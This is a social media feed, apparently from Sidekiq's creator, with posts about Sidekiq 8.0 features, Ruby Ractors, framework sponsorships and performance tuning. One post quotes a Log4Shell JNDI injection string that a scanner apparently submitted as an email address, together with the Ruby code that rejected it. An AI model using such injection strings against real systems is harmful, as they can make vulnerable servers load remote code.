Profile avatar
mike.contribsys.com
CEO/Engineer, creator of Sidekiq https://mikeperham.com https://contribsys.com https://sidekiq.org Portland, OR
167 posts 1,761 followers 103 following
Regular Contributor
Active Commenter

Sidekiq Enterprise 8.0.1 can now pause, unpause and manually enqueue periodic jobs. This has been a long-requested feature so I'm happy to finally ship it! https://github.com/sidekiq/sidekiq/wiki/Ent-Periodic-Jobs#web-ui

I'd be happy to work with ruby-core on Ractor APIs that actually improve their usability, I'd even sponsor their development. We need truly thread-safe data structures that can be shared. Expecting Ruby apps to remove global mutable state is not realistic.

Here’s a little bit about @sidekiq 8’s new job profiling feature. I hope you find it useful. :sidekiq: https://www.mikeperham.com/2025/04/08/sidekiq-8.0-profiling/

Sidekiq 8.0 makes some major improvements to its Web UI. Much faster rendering, 10x smaller CSS. Read we did it: https://www.mikeperham.com/2025/04/01/sidekiq-8.0-improvements-to-the-web-ui/ 😎

ratomic - Ractor-safe mutable data structures for Ruby https://github.com/mperham/ratomic Know Rust or C extensions? Help us expand the APIs and improve the native gem builds. https://github.com/mperham/ratomic/issues

Great to see @thoughtbot.com join @honeybadger.io and @transistor.fm in leaving X and Meta! thoughtbot.com/blog/thought...

Welcome, Sidekiq, as our SOCKS5 sponsor! 🙇‍♂️ Need speed? Scale your app with Ruby's fastest job system, up to 20x faster than the competition! Sidekiq 8.0 is out now. sidekiq.org Thank you @mike.contribsys.com for your support and the comfy Sidekiq socks we'll give. 🧦

Sidekiq 8.0 is now available, with easy Job Profiling and a refreshed Web UI. Read more: www.mikeperham.com/2025/03/05/i...

🐦‍🔥 tapbots.com/phoenix/

Sidekiq 8.0.0.beta2 is now available and this is a release candidate. Please test with your apps and give me feedback! https://github.com/sidekiq/sidekiq/blob/main/Changes.md https://github.com/sidekiq/sidekiq/blob/main/docs/8.0-Upgrade.md

Guess when I enabled jemalloc on @hatchbox.io ?

Just had to send my first mass email in a long time due to a bug in the Faktory license generator script. Luckily it only affected ~20 customers. 😔

I've seen breathless articles about the incredible potential for WebAssembly for a decade now. AFAICT the main use case is bringing desktop apps (eg Figma, SketchUp) to the web so they fit easily into a SaaS pricing model.

Sidekiq 8.0.0.beta1 is officially official and available for testing! NB: It is *not* useable by Sidekiq Pro/Enterprise customers. OSS only. https://github.com/sidekiq/sidekiq/blob/main/docs/8.0-Upgrade.md

Sorry, I don't have a customer with the email "${jndi:ldap://log4shell-generic-K1govtBoVa8bHdMMpUUI${lower:ten}.w.nessus.org/nessus}" raise ArgumentError, "invalid name: #{str.dump}"

Yesterday I was able to speed up a heavily multithreaded Sidekiq load test 5x (12k -> 75k!!!) on Ubuntu 24.04 with one trick: I set the CPU affinity so the Ruby process always executed on the same core. Presumably this lead to the Ruby process seeing less L2/L3 cache thrashing which […]

I made Sidekiq's load benchmark run five times faster on Ubuntu 24.04 with this One Weird Trick! https://github.com/sidekiq/sidekiq/issues/6592#issuecomment-2629549599

PSA: 1. If you are not silly, it is vital you become silly 2. If you are silly, you must stay silly 2. If you used to be silly but have stopped, you must make all efforts to return to silliness

Perhaps it's time to really push for alternative frameworks. I always felt that Ruby was inextricably linked to Rails — that doing Ruby, in most cases, meant doing Rails — and that alternative frameworks wouldn't take off, but I'm starting to feel optimistic about Hanami.

I'm happy to announce a major sponsorship of Hanami and @timriley.info. I want to see more useful frameworks and tools for building Ruby apps and I don't know of a better option today than Hanami. 🌸 www.mikeperham.com/2025/01/17/s...

I've decided to focus my Ruby social media on Mastodon and ruby.social so this account will be pretty quiet. @getajobmike.ruby.social.ap.brid.gy should continue to work if you want to see my Mastodon posts here.

The Github Create PR page is unusable for me. Pegs the CPU. Accidentally quadratic? accidentallyquadratic.tumblr.com

Do we need a new `mail` gem? What's there today is used by nearly every Ruby app in existence and yet it gets very little maintenance. Warnings in the code have been ignored for years and very few people know how to maintain the Ragel parser definitions.

The correct answer to any reasonable, "Can we build ___?" request is always, "yes, and here are the tradeoffs." Don't say "no." Get them into a conversation about priorities and tradeoffs. Works every time.

Could someone get AI to bring GitHub back up please?

It’s hard to explain how bad the Sonos app remains, even almost a year after they destroyed their userbase with this awful rewrite. Every action is SO SLOW. The fact that the CEO hasn’t been forced out is a testament to how poorly the company is governed.

Periodic reminder: no matter how useful you think tests are, they are 16% more useful than that (a number I just made up). I wrote a feature, shipped it w/o tests, later added a bug but fixed the bug without adding a test. Adding a test later made clear a further improvement. Write more tests!

Neat video about a massive cascading failure at a Japanese neutrino detector in 2001. www.youtube.com/watch?v=YoBF...